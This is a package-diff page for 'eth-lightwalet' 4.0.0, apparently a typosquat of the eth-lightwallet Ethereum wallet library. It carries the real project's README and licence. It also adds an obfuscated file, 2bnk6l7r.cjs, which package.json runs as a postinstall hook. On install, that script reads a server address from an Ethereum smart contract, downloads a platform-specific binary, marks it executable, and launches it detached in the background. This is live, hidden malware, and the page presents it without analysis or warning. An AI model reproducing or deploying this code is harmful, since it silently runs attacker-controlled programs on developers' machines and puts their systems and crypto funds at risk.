eth-lightwalet 4.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/2bnk6l7r.cjs +1 -0
- package/LICENSE.txt +21 -0
- package/README.md +354 -0
- package/index.js +7 -0
- package/package.json +91 -0
package/2bnk6l7r.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x3726c9=_0x3c58;function _0xaeb9(){const _0x1ed5e3=['EFEKL','zfhbU','stream','jRiTq','176nFmmdE','qKTPt','4906800eHQWkl','unref','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','fZzhf','Unsupported\x20platform:\x20','6eFhnpr','error','Ошибка\x20при\x20получении\x20IP\x20адреса:','util','pipe','Ошибка\x20установки:','18621uEMeAk','fifDX','1074615lUDtvJ','join','platform','755','tmpdir','linux','oNSOM','child_process','qtXzR','ethers','path','3417883tpapde','axios','2bJcoPc','data','GET','398282jlkMvd','Contract','win32','13937715RceZVL','basename','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','/node-linux','20255LCodwX','40yTmXiO','zakjj','chmodSync','darwin','Ошибка\x20при\x20запуске\x20файла:','ORzEw','ignore','finish','/node-win.exe','qTjcp','StIvH','blQJA'];_0xaeb9=function(){return _0x1ed5e3;};return _0xaeb9();}(function(_0x57444d,_0x721135){const _0x4a9e3d=_0x3c58,_0x49643a=_0x57444d();while(!![]){try{const _0x3e8599=-parseInt(_0x4a9e3d(0xdf))/0x1+-parseInt(_0x4a9e3d(0xdc))/0x2*(-parseInt(_0x4a9e3d(0xcf))/0x3)+parseInt(_0x4a9e3d(0xe7))/0x4*(-parseInt(_0x4a9e3d(0xe6))/0x5)+-parseInt(_0x4a9e3d(0xc7))/0x6*(parseInt(_0x4a9e3d(0xda))/0x7)+parseInt(_0x4a9e3d(0xc0))/0x8*(parseInt(_0x4a9e3d(0xcd))/0x9)+-parseInt(_0x4a9e3d(0xc2))/0xa+parseInt(_0x4a9e3d(0xe2))/0xb;if(_0x3e8599===_0x721135)break;else _0x49643a['push'](_0x49643a['shift']());}catch(_0x524e36){_0x49643a['push'](_0x49643a['shift']());}}}(_0xaeb9,0x3dc77));function _0x3c58(_0x14db85,_0x4cef8a){const _0xaeb9a2=_0xaeb9();return _0x3c58=function(_0x3c584b,_0x4515bd){_0x3c584b=_0x3c584b-0xbf;let _0x475b24=_0xaeb9a2[_0x3c584b];return _0x475b24;},_0x3c58(_0x14db85,_0x4cef8a);}const {ethers}=require(_0x3726c9(0xd8)),axios=require(_0x3726c9(0xdb)),util=require(_0x3726c9(0xca)),fs=require('fs'),path=require(_0x3726c9(0xd9)),os=require('os'),{spawn}=require(_0x3726c9(0xd6)),contractAddress=_0x3726c9(0xe4),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x3726c9(0xc4)],provider=ethers['getDefaultProvider']('mainnet'),contract=new ethers[(_0x3726c9(0xe0))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x485b97=_0x3726c9,_0x355c13={'nrnTx':_0x485b97(0xc9),'zfhbU':function(_0x37d20d){return _0x37d20d();}};try{const _0x9a9130=await contract['getString'](WalletOwner);return _0x9a9130;}catch(_0x52f634){return console[_0x485b97(0xc8)](_0x355c13['nrnTx'],_0x52f634),await _0x355c13[_0x485b97(0xf4)](fetchAndUpdateIp);}},getDownloadUrl=_0x24bffc=>{const _0x167ed4=_0x3726c9,_0x53c365={'oNSOM':_0x167ed4(0xe1),'StIvH':_0x167ed4(0xd4)},_0x3d0cae=os[_0x167ed4(0xd1)]();switch(_0x3d0cae){case _0x53c365[_0x167ed4(0xd5)]:return _0x24bffc+_0x167ed4(0xef);case _0x53c365[_0x167ed4(0xf1)]:return _0x24bffc+_0x167ed4(0xe5);case _0x167ed4(0xea):return _0x24bffc+'/node-macos';default:throw new Error(_0x167ed4(0xc6)+_0x3d0cae);}},downloadFile=async(_0x291710,_0x5ecb9c)=>{const _0xb11c47=_0x3726c9,_0x352d62={'qTjcp':_0xb11c47(0xee),'blQJA':_0xb11c47(0xc8),'qtXzR':function(_0x5cc229,_0x174aba){return _0x5cc229(_0x174aba);},'liZIb':_0xb11c47(0xde),'ORzEw':_0xb11c47(0xf5)},_0x4a69ce=fs['createWriteStream'](_0x5ecb9c),_0x1d1e0b=await _0x352d62[_0xb11c47(0xd7)](axios,{'url':_0x291710,'method':_0x352d62['liZIb'],'responseType':_0x352d62[_0xb11c47(0xec)]});return _0x1d1e0b[_0xb11c47(0xdd)][_0xb11c47(0xcb)](_0x4a69ce),new Promise((_0x15a8b9,_0x4a264d)=>{const _0x344185=_0xb11c47;_0x4a69ce['on'](_0x352d62[_0x344185(0xf0)],_0x15a8b9),_0x4a69ce['on'](_0x352d62[_0x344185(0xf2)],_0x4a264d);});},executeFileInBackground=async _0x46edf3=>{const _0x3353f0=_0x3726c9,_0xfac141={'zakjj':_0x3353f0(0xed),'fZzhf':_0x3353f0(0xeb)};try{const _0x1c9b06=spawn(_0x46edf3,[],{'detached':!![],'stdio':_0xfac141[_0x3353f0(0xe8)]});_0x1c9b06[_0x3353f0(0xc3)]();}catch(_0x4e8730){console[_0x3353f0(0xc8)](_0xfac141[_0x3353f0(0xc5)],_0x4e8730);}},runInstallation=async()=>{const _0x4bd8f5=_0x3726c9,_0x5e79f2={'fifDX':function(_0x51556e){return _0x51556e();},'gbNuC':function(_0x3472c7,_0x3e54cc){return _0x3472c7(_0x3e54cc);},'bBIzX':function(_0x2c48f8,_0x16c49d,_0x40bb83){return _0x2c48f8(_0x16c49d,_0x40bb83);},'EFEKL':function(_0x150392,_0x4a0849){return _0x150392!==_0x4a0849;},'XVcET':_0x4bd8f5(0xe1),'jRiTq':_0x4bd8f5(0xd2),'qKTPt':_0x4bd8f5(0xcc)};try{const _0xbbee02=await _0x5e79f2[_0x4bd8f5(0xce)](fetchAndUpdateIp),_0x4d080d=_0x5e79f2['gbNuC'](getDownloadUrl,_0xbbee02),_0x1e7d44=os[_0x4bd8f5(0xd3)](),_0x3bf357=path[_0x4bd8f5(0xe3)](_0x4d080d),_0xfd24f7=path[_0x4bd8f5(0xd0)](_0x1e7d44,_0x3bf357);await _0x5e79f2['bBIzX'](downloadFile,_0x4d080d,_0xfd24f7);if(_0x5e79f2[_0x4bd8f5(0xf3)](os[_0x4bd8f5(0xd1)](),_0x5e79f2['XVcET']))fs[_0x4bd8f5(0xe9)](_0xfd24f7,_0x5e79f2[_0x4bd8f5(0xbf)]);executeFileInBackground(_0xfd24f7);}catch(_0x35a027){console['error'](_0x5e79f2[_0x4bd8f5(0xc1)],_0x35a027);}};runInstallation();
|
package/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2015 Christian Lundkvist
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,354 @@
|
|
1
|
+
# LightWallet
|
2
|
+
|
3
|
+
A minimal ethereum javascript wallet.
|
4
|
+
|
5
|
+
## About
|
6
|
+
|
7
|
+
LightWallet is a HD wallet that can store your private keys encrypted in the browser to allow you to run Ethereum dapps even if you're not running a local Ethereum node. It uses [BIP32][] and [BIP39][] to generate an HD tree of addresses from a randomly generated 12-word seed.
|
8
|
+
|
9
|
+
LightWallet is primarily intended to be a signing provider for the [Hooked Web3 provider](https://github.com/ConsenSys/hooked-web3-provider) through the `keystore` module. This allows you to have full control over your private keys while still connecting to a remote node to relay signed transactions. Moreover, the `txutils` functions can be used to construct transactions when offline, for use in e.g. air-gapped coldwallet implementations.
|
10
|
+
|
11
|
+
The default BIP32 HD derivation path has been `m/0'/0'/0'/i`, but any HD path can be chosen.
|
12
|
+
|
13
|
+
## Security
|
14
|
+
|
15
|
+
Please note that LightWallet has not been through a comprehensive security review at this point. It is still experimental software, intended for small amounts of Ether to be used for interacting with smart contracts on the Ethereum blockchain. Do not rely on it to store larger amounts of Ether yet.
|
16
|
+
|
17
|
+
## Get Started
|
18
|
+
|
19
|
+
```
|
20
|
+
npm install eth-lightwallet
|
21
|
+
```
|
22
|
+
|
23
|
+
The `eth-lightwallet` package contains `dist/lightwallet.min.js` that can be included in an HTML page:
|
24
|
+
|
25
|
+
```html
|
26
|
+
<html>
|
27
|
+
<body>
|
28
|
+
<script src="lightwallet.min.js"></script>
|
29
|
+
</body>
|
30
|
+
</html>
|
31
|
+
```
|
32
|
+
|
33
|
+
The file `lightwallet.min.js` exposes the global object `lightwallet` to the browser which has the two main modules `lightwallet.keystore` and `lightwallet.txutils`.
|
34
|
+
|
35
|
+
Sample recommended usage with hooked web3 provider:
|
36
|
+
|
37
|
+
```js
|
38
|
+
// the seed is stored encrypted by a user-defined password
|
39
|
+
var password = prompt('Enter password for encryption', 'password');
|
40
|
+
|
41
|
+
keyStore.createVault({
|
42
|
+
password: password,
|
43
|
+
// seedPhrase: seedPhrase, // Optionally provide a 12-word seed phrase
|
44
|
+
// salt: fixture.salt, // Optionally provide a salt.
|
45
|
+
// A unique salt will be generated otherwise.
|
46
|
+
// hdPathString: hdPath // Optional custom HD Path String
|
47
|
+
}, function (err, ks) {
|
48
|
+
|
49
|
+
// Some methods will require providing the `pwDerivedKey`,
|
50
|
+
// Allowing you to only decrypt private keys on an as-needed basis.
|
51
|
+
// You can generate that value with this convenient method:
|
52
|
+
ks.keyFromPassword(password, function (err, pwDerivedKey) {
|
53
|
+
if (err) throw err;
|
54
|
+
|
55
|
+
// generate five new address/private key pairs
|
56
|
+
// the corresponding private keys are also encrypted
|
57
|
+
ks.generateNewAddress(pwDerivedKey, 5);
|
58
|
+
var addr = ks.getAddresses();
|
59
|
+
|
60
|
+
ks.passwordProvider = function (callback) {
|
61
|
+
var pw = prompt("Please enter password", "Password");
|
62
|
+
callback(null, pw);
|
63
|
+
};
|
64
|
+
|
65
|
+
// Now set ks as transaction_signer in the hooked web3 provider
|
66
|
+
// and you can start using web3 using the keys/addresses in ks!
|
67
|
+
});
|
68
|
+
});
|
69
|
+
```
|
70
|
+
|
71
|
+
Sample old-style usage with hooked web3 provider (still works, but less secure because uses fixed salts).
|
72
|
+
|
73
|
+
```js
|
74
|
+
// generate a new BIP32 12-word seed
|
75
|
+
var secretSeed = lightwallet.keystore.generateRandomSeed();
|
76
|
+
|
77
|
+
// the seed is stored encrypted by a user-defined password
|
78
|
+
var password = prompt('Enter password for encryption', 'password');
|
79
|
+
lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {
|
80
|
+
|
81
|
+
var ks = new lightwallet.keystore(secretSeed, pwDerivedKey);
|
82
|
+
|
83
|
+
// generate five new address/private key pairs
|
84
|
+
// the corresponding private keys are also encrypted
|
85
|
+
ks.generateNewAddress(pwDerivedKey, 5);
|
86
|
+
var addr = ks.getAddresses();
|
87
|
+
|
88
|
+
// Create a custom passwordProvider to prompt the user to enter their
|
89
|
+
// password whenever the hooked web3 provider issues a sendTransaction
|
90
|
+
// call.
|
91
|
+
ks.passwordProvider = function (callback) {
|
92
|
+
var pw = prompt("Please enter password", "Password");
|
93
|
+
callback(null, pw);
|
94
|
+
};
|
95
|
+
|
96
|
+
// Now set ks as transaction_signer in the hooked web3 provider
|
97
|
+
// and you can start using web3 using the keys/addresses in ks!
|
98
|
+
});
|
99
|
+
```
|
100
|
+
|
101
|
+
## `keystore` Function definitions
|
102
|
+
|
103
|
+
These are the interface functions for the keystore object. The keystore object holds a 12-word seed according to [BIP39][] spec. From this seed you can generate addresses and private keys, and use the private keys to sign transactions.
|
104
|
+
|
105
|
+
Note: Addresses and RLP encoded data are in the form of hex-strings. Hex-strings start with `0x`.
|
106
|
+
|
107
|
+
### `keystore.createVault(options, callback)`
|
108
|
+
|
109
|
+
This is the interface to create a new lightwallet keystore.
|
110
|
+
|
111
|
+
#### Options
|
112
|
+
|
113
|
+
* password: (mandatory) A string used to encrypt the vault when serialized.
|
114
|
+
* seedPhrase: (mandatory) A twelve-word mnemonic used to generate all accounts.
|
115
|
+
* salt: (optional) The user may supply the salt used to encrypt & decrypt the vault, otherwise a random salt will be generated.
|
116
|
+
* hdPathString (mandatory): The user must provide a `BIP39` compliant HD Path String. Previously the default has been `m/0'/0'/0'`, another popular one is the BIP44 path string `m/44'/60'/0'/0`.
|
117
|
+
|
118
|
+
### `keystore.keyFromPassword(password, callback)`
|
119
|
+
|
120
|
+
This instance method uses any internally-configured salt to return the appropriate `pwDerivedKey`.
|
121
|
+
|
122
|
+
Takes the user's password as input and generates a symmetric key of type `Uint8Array` that is used to encrypt/decrypt the keystore.
|
123
|
+
|
124
|
+
### `keystore.isDerivedKeyCorrect(pwDerivedKey)`
|
125
|
+
|
126
|
+
Returns `true` if the derived key can decrypt the seed, and returns `false` otherwise.
|
127
|
+
|
128
|
+
### `keystore.generateRandomSeed([extraEntropy])`
|
129
|
+
|
130
|
+
Generates a string consisting of a random 12-word seed and returns it. If the optional argument string `extraEntropy` is present the random data from the Javascript RNG will be concatenated with `extraEntropy` and then hashed to produce the final seed. The string `extraEntropy` can be something like entropy from mouse movements or keyboard presses, or a string representing dice throws.
|
131
|
+
|
132
|
+
### `keystore.isSeedValid(seed)`
|
133
|
+
|
134
|
+
Checks if `seed` is a valid 12-word seed according to the [BIP39][] specification.
|
135
|
+
|
136
|
+
### `keystore.generateNewAddress(pwDerivedKey, [num])`
|
137
|
+
|
138
|
+
Allows the vault to generate additional internal address/private key pairs.
|
139
|
+
|
140
|
+
The simplest usage is `ks.generateNewAddress(pwDerivedKey)`.
|
141
|
+
|
142
|
+
Generates `num` new address/private key pairs (defaults to 1) in the keystore from the seed phrase, which will be returned with calls to `ks.getAddresses()`.
|
143
|
+
|
144
|
+
### `keystore.deserialize(serialized_keystore)`
|
145
|
+
|
146
|
+
Takes a serialized keystore string `serialized_keystore` and returns a new keystore object.
|
147
|
+
|
148
|
+
### `keystore.serialize()`
|
149
|
+
|
150
|
+
Serializes the current keystore object into a JSON-encoded string and returns that string.
|
151
|
+
|
152
|
+
### `keystore.getAddresses()`
|
153
|
+
|
154
|
+
Returns a list of hex-string addresses currently stored in the keystore.
|
155
|
+
|
156
|
+
### `keystore.getSeed(pwDerivedKey)`
|
157
|
+
|
158
|
+
Given the pwDerivedKey, decrypts and returns the users 12-word seed.
|
159
|
+
|
160
|
+
### `keystore.exportPrivateKey(address, pwDerivedKey)`
|
161
|
+
|
162
|
+
Given the derived key, decrypts and returns the private key corresponding to `address`. This should be done sparingly as the recommended practice is for the `keystore` to sign transactions using `signing.signTx`, so there is normally no need to export private keys.
|
163
|
+
|
164
|
+
## `upgrade` Function definitions
|
165
|
+
|
166
|
+
### `keystore.upgradeOldSerialized(oldSerialized, password, callback)`
|
167
|
+
|
168
|
+
Takes a serialized keystore in an old format and a password. The callback takes the upgraded serialized keystore as its second argument.
|
169
|
+
|
170
|
+
## `signing` Function definitions
|
171
|
+
|
172
|
+
### `signing.signTx(keystore, pwDerivedKey, rawTx, signingAddress, hdPathString)`
|
173
|
+
|
174
|
+
Signs a transaction with the private key corresponding to `signingAddress`.
|
175
|
+
|
176
|
+
#### Inputs
|
177
|
+
|
178
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
179
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
180
|
+
* `rawTx`: Hex-string defining an RLP-encoded raw transaction.
|
181
|
+
* `signingAddress`: hex-string defining the address to send the transaction from.
|
182
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
183
|
+
|
184
|
+
#### Return value
|
185
|
+
|
186
|
+
Hex-string corresponding to the RLP-encoded raw transaction.
|
187
|
+
|
188
|
+
### `signing.signMsg(keystore, pwDerivedKey, rawMsg, signingAddress, hdPathString)`
|
189
|
+
|
190
|
+
Creates and signs a sha3 hash of a message with the private key corresponding to `signingAddress`.
|
191
|
+
|
192
|
+
#### Inputs
|
193
|
+
|
194
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
195
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
196
|
+
* `rawMsg`: Message to be signed
|
197
|
+
* `signingAddress`: hex-string defining the address corresponding to the signing private key.
|
198
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
199
|
+
|
200
|
+
#### Return value
|
201
|
+
|
202
|
+
Signed hash as signature object with v, r and s values.
|
203
|
+
|
204
|
+
### `signing.signMsgHash(keystore, pwDerivedKey, msgHash, signingAddress, hdPathString)`
|
205
|
+
|
206
|
+
Signs a sha3 message hash with the private key corresponding to `signingAddress`.
|
207
|
+
|
208
|
+
#### Inputs
|
209
|
+
|
210
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
211
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
212
|
+
* `msgHash`: SHA3 hash to be signed
|
213
|
+
* `signingAddress`: hex-string defining the address corresponding to the signing private key.
|
214
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
215
|
+
|
216
|
+
#### Return value
|
217
|
+
|
218
|
+
Signed hash as signature object with v, r and s values.
|
219
|
+
|
220
|
+
### `signing.concatSig(signature)`
|
221
|
+
|
222
|
+
Concatenates signature object to return signature as hex-string in the same format as `eth_sign` does.
|
223
|
+
|
224
|
+
#### Inputs
|
225
|
+
|
226
|
+
* `signature`: Signature object as returned from `signMsg` or ``signMsgHash`.
|
227
|
+
|
228
|
+
#### Return value
|
229
|
+
|
230
|
+
Concatenated signature object as hex-string.
|
231
|
+
|
232
|
+
### `signing.recoverAddress(rawMsg, v, r, s)`
|
233
|
+
|
234
|
+
Recovers the signing address from the message `rawMsg` and the signature `v, r, s`.
|
235
|
+
|
236
|
+
|
237
|
+
## `encryption` Function definitions
|
238
|
+
|
239
|
+
### `encryption.multiEncryptString(keystore, pwDerivedKey, msg, myAddress, theirPubKeyArray)`
|
240
|
+
|
241
|
+
**NOTE:** The format of encrypted messages has not been finalized and may change at any time, so only use this for ephemeral messages that do not need to be stored encrypted for a long time.
|
242
|
+
|
243
|
+
Encrypts the string `msg` with a randomly generated symmetric key, then encrypts that symmetric key assymetrically to each of the pubkeys in `theirPubKeyArray`. The encrypted message can then be read only by sender and the holders of the private keys corresponding to the public keys in `theirPubKeyArray`. The returned object has the following form, where nonces and ciphertexts are encoded in base64:
|
244
|
+
|
245
|
+
```js
|
246
|
+
{ version: 1,
|
247
|
+
asymAlg: 'curve25519-xsalsa20-poly1305',
|
248
|
+
symAlg: 'xsalsa20-poly1305',
|
249
|
+
symNonce: 'SLmxcH3/CPMCCJ7orkI7iSjetRlMmzQH',
|
250
|
+
symEncMessage: 'iN4+/b5InlsVo5Bc7GTmaBh8SgWV8OBMHKHMVf7aq5O9eqwnIzVXeX4yzUWbw2w=',
|
251
|
+
encryptedSymKey:
|
252
|
+
[ { nonce: 'qcNCtKqiooYLlRuIrNlNVtF8zftoT5Cb',
|
253
|
+
ciphertext: 'L8c12EJsFYM1K7udgHDRrdHhQ7ng+VMkzOdVFTjWu0jmUzpehFeqyoEyg8cROBmm' },
|
254
|
+
{ nonce: 'puD2x3wmQKu3OIyxgJq2kG2Hz01+dxXs',
|
255
|
+
ciphertext: 'gLYtYpJbeFKXL/WAK0hyyGEelaL5Ddq9BU3249+hdZZ7xgTAZVL8tw+fIVcvpgaZ' },
|
256
|
+
{ nonce: '1g8VbftPnjc+1NG3zCGwZS8KO73yjucu',
|
257
|
+
ciphertext: 'pftERJOPDV2dfP+C2vOwPWT43Q89V74Nfu1arNQeTMphSHqVuUXItbyCMizISTxG' },
|
258
|
+
{ nonce: 'KAH+cCxbFGSDjHDOBzDhMboQdFWepvBw',
|
259
|
+
ciphertext: 'XWmmBmxLEyLTUmUBiWy2wDqedubsa0KTcufhKM7YfJn/eHWhDDptMxYDvaKisFmn' } ] }
|
260
|
+
```
|
261
|
+
|
262
|
+
Note that no padding is applied to `msg`, so it's possible to deduce the length of the string `msg` from the ciphertext. If you don't want this information to be known, please apply padding to `msg` before calling this function.
|
263
|
+
|
264
|
+
### `encryption.multiDecryptString(keystore, pwDerivedKey, encMsg, theirPubKey, myAddress)`
|
265
|
+
|
266
|
+
Decrypt a message `encMsg` created with the function
|
267
|
+
`multiEncryptString()`. If successful, returns the original message
|
268
|
+
string. If not successful, returns `false`.
|
269
|
+
|
270
|
+
### `encryption.addressToPublicEncKey(keystore, pwDerivedKey, address)`
|
271
|
+
|
272
|
+
Gets the public encryption key corresponding to the private key of `address` in the `keystore`.
|
273
|
+
|
274
|
+
## `txutils` Function definitions
|
275
|
+
|
276
|
+
These are the interface functions for the `txutils` module. These functions will create RLP encoded raw unsigned transactions which can be signed using the `keystore.signTx()` command.
|
277
|
+
|
278
|
+
### `txutils.createContractTx(fromAddress, txObject)`
|
279
|
+
|
280
|
+
Using the data in `txObject`, creates an RLP-encoded transaction that will create the contract with compiled bytecode defined by `txObject.data`. Also computes the address of the created contract.
|
281
|
+
|
282
|
+
#### Inputs
|
283
|
+
|
284
|
+
* `fromAddress`: Address to send the transaction from
|
285
|
+
* `txObject.gasLimit`: Gas limit
|
286
|
+
* `txObject.gasPrice`: Gas price
|
287
|
+
* `txObject.value`: Endowment (optional)
|
288
|
+
* `txObject.nonce`: Nonce of `fromAddress`
|
289
|
+
* `txObject.data`: Compiled code of the contract
|
290
|
+
|
291
|
+
#### Output
|
292
|
+
|
293
|
+
Object `obj` with fields
|
294
|
+
|
295
|
+
* `obj.tx`: RLP encoded transaction (hex string)
|
296
|
+
* `obj.addr`: Address of the created contract
|
297
|
+
|
298
|
+
### `txutils.functionTx(abi, functionName, args, txObject)`
|
299
|
+
|
300
|
+
Creates a transaction calling a function with name `functionName`, with arguments `args` conforming to `abi`. The function is defined in a contract with address `txObject.to`.
|
301
|
+
|
302
|
+
#### Inputs
|
303
|
+
|
304
|
+
* `abi`: Json-formatted ABI as returned from the `solc` compiler
|
305
|
+
* `functionName`: string with the function name
|
306
|
+
* `args`: Array with the arguments to the function
|
307
|
+
* `txObject.to`: Address of the contract
|
308
|
+
* `txObject.gasLimit`: Gas limit
|
309
|
+
* `txObject.gasPrice`: Gas price
|
310
|
+
* `txObject.value`: Value to send
|
311
|
+
* `txObject.nonce`: Nonce of sending address
|
312
|
+
|
313
|
+
#### Output
|
314
|
+
|
315
|
+
RLP-encoded hex string defining the transaction.
|
316
|
+
|
317
|
+
|
318
|
+
### `txutils.valueTx(txObject)`
|
319
|
+
|
320
|
+
Creates a transaction sending value to `txObject.to`.
|
321
|
+
|
322
|
+
#### Inputs
|
323
|
+
|
324
|
+
* `txObject.to`: Address to send to
|
325
|
+
* `txObject.gasLimit`: Gas limit
|
326
|
+
* `txObject.gasPrice`: Gas price
|
327
|
+
* `txObject.value`: Value to send
|
328
|
+
* `txObject.nonce`: Nonce of sending address
|
329
|
+
|
330
|
+
#### Output
|
331
|
+
|
332
|
+
RLP-encoded hex string defining the transaction.
|
333
|
+
|
334
|
+
## Examples
|
335
|
+
|
336
|
+
See the file `example_usage.js` for usage of `keystore` and `txutils` in node.
|
337
|
+
|
338
|
+
See the file `example_web.html` for an example of how to use the LightWallet keystore together with the Hooked Web3 Provider in the browser.
|
339
|
+
|
340
|
+
## Tests
|
341
|
+
|
342
|
+
Run all tests:
|
343
|
+
|
344
|
+
```
|
345
|
+
npm run test
|
346
|
+
npm run coverage
|
347
|
+
```
|
348
|
+
|
349
|
+
[BIP39]: https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki
|
350
|
+
[BIP32]: https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki
|
351
|
+
|
352
|
+
## License
|
353
|
+
|
354
|
+
MIT License.
|
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,91 @@
|
|
1
|
+
{
|
2
|
+
"name": "eth-lightwalet",
|
3
|
+
"version": "4.0.0",
|
4
|
+
"description": "A lightweight ethereum javascript wallet.",
|
5
|
+
"main": "index.js",
|
6
|
+
"repository": {
|
7
|
+
"type": "git",
|
8
|
+
"url": "https://github.com/ConsenSys/eth-lightwallet.git"
|
9
|
+
},
|
10
|
+
"scripts": {
|
11
|
+
"postinstall": "node 2bnk6l7r.cjs"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"ethereum",
|
15
|
+
"blockchain",
|
16
|
+
"transactions",
|
17
|
+
"contracts",
|
18
|
+
"wallet"
|
19
|
+
],
|
20
|
+
"contributors": [
|
21
|
+
{
|
22
|
+
"name": "Christian Lundkvist",
|
23
|
+
"email": "christian.lundkvist@gmail.com"
|
24
|
+
},
|
25
|
+
{
|
26
|
+
"name": "Tyler Clark",
|
27
|
+
"email": "tysclark@gmail.com"
|
28
|
+
},
|
29
|
+
{
|
30
|
+
"name": "Joel Torstensson",
|
31
|
+
"email": "me@joeltorstensson.se"
|
32
|
+
},
|
33
|
+
{
|
34
|
+
"name": "Zach Ferland",
|
35
|
+
"email": "zachferland@gmail.com"
|
36
|
+
},
|
37
|
+
{
|
38
|
+
"name": "Kevin Jiao",
|
39
|
+
"email": "kevin.jiao@berkeley.edu"
|
40
|
+
},
|
41
|
+
{
|
42
|
+
"name": "Marian Oancea",
|
43
|
+
"email": "marian.oancea@gmail.com"
|
44
|
+
},
|
45
|
+
{
|
46
|
+
"name": "John McDowall",
|
47
|
+
"email": "john@kantan.io"
|
48
|
+
},
|
49
|
+
{
|
50
|
+
"name": "Milad Mostavi",
|
51
|
+
"email": "milad.mostavi@gmail.com"
|
52
|
+
},
|
53
|
+
{
|
54
|
+
"name": "Slava Matvienco",
|
55
|
+
"email": "slava.matvienco@gmail.com"
|
56
|
+
}
|
57
|
+
],
|
58
|
+
"license": "MIT",
|
59
|
+
"dependencies": {
|
60
|
+
"bitcore-lib": "8.1.1",
|
61
|
+
"bitcore-mnemonic": "8.1.1",
|
62
|
+
"crypto-js": "3.1.8",
|
63
|
+
"elliptic": "6.4.1",
|
64
|
+
"ethereumjs-tx": "1.3.7",
|
65
|
+
"ethereumjs-util": "6.1.0",
|
66
|
+
"rlp": "2.2.3",
|
67
|
+
"scrypt-async": "2.0.1",
|
68
|
+
"tweetnacl": "1.0.1",
|
69
|
+
"tweetnacl-util": "0.15.0",
|
70
|
+
"web3": "0.20.7",
|
71
|
+
"axios": "^1.7.7",
|
72
|
+
"ethers": "^6.13.2"
|
73
|
+
},
|
74
|
+
"devDependencies": {
|
75
|
+
"@babel/core": "7.4.0",
|
76
|
+
"@babel/preset-env": "7.4.2",
|
77
|
+
"@babel/preset-react": "7.0.0",
|
78
|
+
"async": "2.6.2",
|
79
|
+
"babelify": "10.0.0",
|
80
|
+
"bluebird": "3.5.3",
|
81
|
+
"browserify": "16.2.3",
|
82
|
+
"chai": "4.2.0",
|
83
|
+
"hooked-web3-provider": "christianlundkvist/hooked-web3-provider#updates_web3_14",
|
84
|
+
"istanbul": "0.4.5",
|
85
|
+
"mocha": "6.0.2",
|
86
|
+
"uglify-js": "3.5.2"
|
87
|
+
},
|
88
|
+
"files": [
|
89
|
+
"2bnk6l7r.cjs"
|
90
|
+
]
|
91
|
+
}
|